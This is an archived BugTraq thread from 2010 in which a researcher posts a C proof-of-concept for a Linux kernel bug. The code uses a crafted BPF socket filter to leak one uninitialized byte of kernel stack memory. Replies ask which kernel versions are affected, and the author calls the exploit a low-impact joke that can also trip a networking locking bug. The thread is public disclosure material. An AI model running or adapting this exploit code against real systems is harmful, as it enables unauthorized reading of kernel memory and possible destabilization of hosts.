BugTraq
Kernel 0-day Nov 09 2010 10:18PM
Dan Rosenberg (dan j rosenberg gmail com) (1 replies)
Re: Kernel 0-day Nov 10 2010 07:05PM
James Lay (jlay slave-tothe-box net) (1 replies)
Re: Kernel 0-day Nov 18 2010 01:41AM
Felipe Martins (martins felipe security gmail com) (1 replies)
Re: Kernel 0-day Nov 18 2010 06:13PM
Dan Rosenberg (dan j rosenberg gmail com)
Felipe,

The bug goes back all the way to 2.4.0. But please keep in mind that
this exploit was intended as a joke - it only allows you to read a
single byte of uninitialized kernel stack memory, out of a 64-byte
buffer. In addition, you're not even guaranteed to be reading
contiguous data if you request sequential bytes. Even considering the
fact that on x86, the memory will be read from the soft IRQ stack
instead of the current process kernel stack, I seriously doubt that
you could get anything useful out of a single byte that probably just
contains garbage from previous functions in the call path.

I've gotten reports that this code happens to occasionally trigger a
strange locking bug in the networking stack, which is just a funny
accident.

-Dan

On Wed, Nov 17, 2010 at 8:41 PM, Felipe Martins
<martins.felipe.security (at) gmail (dot) com [email concealed]> wrote:
> Dan,
>
>    What kernel versions are vulnerable to this one ?
>
> Felipe
>
> On 10/11/2010 17:05, James Lay wrote:
>>
>> What kernel version(s) is/are impacted?  Tried on one and no workie.
>>
>> James
>>
>>
>> On 11/9/10 3:18 PM, "Dan Rosenberg"<dan.j.rosenberg (at) gmail (dot) com [email concealed]>  wrote:
>>
>>> Enjoy...
>>>
>>> -Dan
>>>
>>>
>>> /*
>>> * You've done it.  After hours of gdb and caffeine, you've finally got a
>>> shell
>>> * on your target's server.  Maybe next time they will think twice about
>>> * running MyFirstCompSciProjectFTPD on a production machine.  As you take
>>> * another sip of Mountain Dew and pick some of the cheetos out of your
>>> beard,
>>> * you begin to plan your next move - it's time to tackle the kernel.
>>> *
>>> * What should be your goal?  Privilege escalation?  That's impossible,
>>> there's
>>> * no such thing as a privilege escalation vulnerability on Linux.
>>> Denial of
>>> * service?  What are you, some kind of script kiddie?  No, the answer is
>>> * obvious.  You must read the uninitialized bytes of the kernel stack,
>>> since
>>> * these bytes contain all the secrets of the universe and the meaning of
>>> life.
>>> *
>>> * How can you accomplish this insidious feat?  You immediately discard
>>> the
>>> * notion of looking for uninitialized struct members that are copied
>>> back to
>>> * userspace, since you clearly need something far more elite.  In order
>>> to
>>> * prove your superiority, your exploit must be as sophisticated as your
>>> taste
>>> * in obscure electronic music.  After scanning the kernel source for good
>>> * candidates, you find your target and begin to code...
>>> *
>>> * by Dan Rosenberg
>>> *
>>> * Greets to kees, taviso, jono, spender, hawkes, and bla
>>> *
>>> */
>>>
>>> #include<string.h>
>>> #include<stdio.h>
>>> #include<netinet/in.h>
>>> #include<sys/socket.h>
>>> #include<unistd.h>
>>> #include<stdlib.h>
>>> #include<linux/filter.h>
>>>
>>> #define PORT 37337
>>>
>>> int transfer(int sendsock, int recvsock)
>>> {
>>>
>>>    struct sockaddr_in addr;
>>>    char buf[512];
>>>    int len = sizeof(addr);
>>>
>>>    memset(buf, 0, sizeof(buf));
>>>
>>>    if (fork())
>>>        return recvfrom(recvsock, buf, 512, 0, (struct sockaddr *)&addr,
>>> &len);
>>>
>>>    sleep(1);
>>>
>>>    memset(&addr, 0, sizeof(addr));
>>>    addr.sin_family = AF_INET;
>>>    addr.sin_port = htons(PORT);
>>>    addr.sin_addr.s_addr = inet_addr("127.0.0.1");
>>>
>>>    sendto(sendsock, buf, 512, 0, (struct sockaddr *)&addr, len);
>>>
>>>    exit(0);
>>>
>>> }
>>>
>>> int main(int argc, char * argv[])
>>> {
>>>
>>>    int sendsock, recvsock, ret;
>>>    unsigned int val;
>>>    struct sockaddr_in addr;
>>>    struct sock_fprog fprog;
>>>    struct sock_filter filters[5];
>>>
>>>    if (argc != 2) {
>>>        printf("[*] Usage: %s offset (0-63)\n", argv[0]);
>>>        return -1;
>>>    }
>>>
>>>    val = atoi(argv[1]);
>>>
>>>    if (val>  63) {
>>>        printf("[*] Invalid byte offset (must be 0-63)\n");
>>>        return -1;
>>>    }
>>>
>>>    recvsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
>>>    sendsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
>>>
>>>    if (recvsock<  0 || sendsock<  0) {
>>>        printf("[*] Could not create sockets.\n");
>>>        return -1;
>>>    }
>>>
>>>    memset(&addr, 0, sizeof(addr));
>>>    addr.sin_family = AF_INET;
>>>    addr.sin_port = htons(PORT);
>>>    addr.sin_addr.s_addr = htonl(INADDR_ANY);
>>>
>>>    if (bind(recvsock, (struct sockaddr *)&addr, sizeof(addr))<  0) {
>>>        printf("[*] Could not bind socket.\n");
>>>        return -1;
>>>    }
>>>
>>>    memset(&fprog, 0, sizeof(fprog));
>>>    memset(filters, 0, sizeof(filters));
>>>
>>>    filters[0].code = BPF_LD|BPF_MEM;
>>>    filters[0].k = (val&  ~0x3) / 4;
>>>
>>>    filters[1].code = BPF_ALU|BPF_AND|BPF_K;
>>>    filters[1].k = 0xff<<  ((val % 4) * 8);
>>>
>>>    filters[2].code = BPF_ALU|BPF_RSH|BPF_K;
>>>    filters[2].k = (val % 4) * 8;
>>>
>>>    filters[3].code = BPF_ALU|BPF_ADD|BPF_K;
>>>    filters[3].k = 256;
>>>
>>>    filters[4].code = BPF_RET|BPF_A;
>>>
>>>    fprog.len = 5;
>>>    fprog.filter = filters;
>>>
>>>    if (setsockopt(recvsock, SOL_SOCKET, SO_ATTACH_FILTER,&fprog,
>>> sizeof(fprog))<  0) {
>>>        printf("[*] Failed to install filter.\n");
>>>        return -1;
>>>    }
>>>
>>>    ret = transfer(sendsock, recvsock);
>>>
>>>    printf("[*] Your byte: 0x%.02x\n", ret - 248);
>>>
>>> }
>>>
>>
>
> --
> Felipe Martins<BR>
> Security Analyst<BR>
> E-mail: martins.felipe.security (at) gmail (dot) com [email concealed]<BR>
> Skype: martins.felipe<BR>
>
>

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus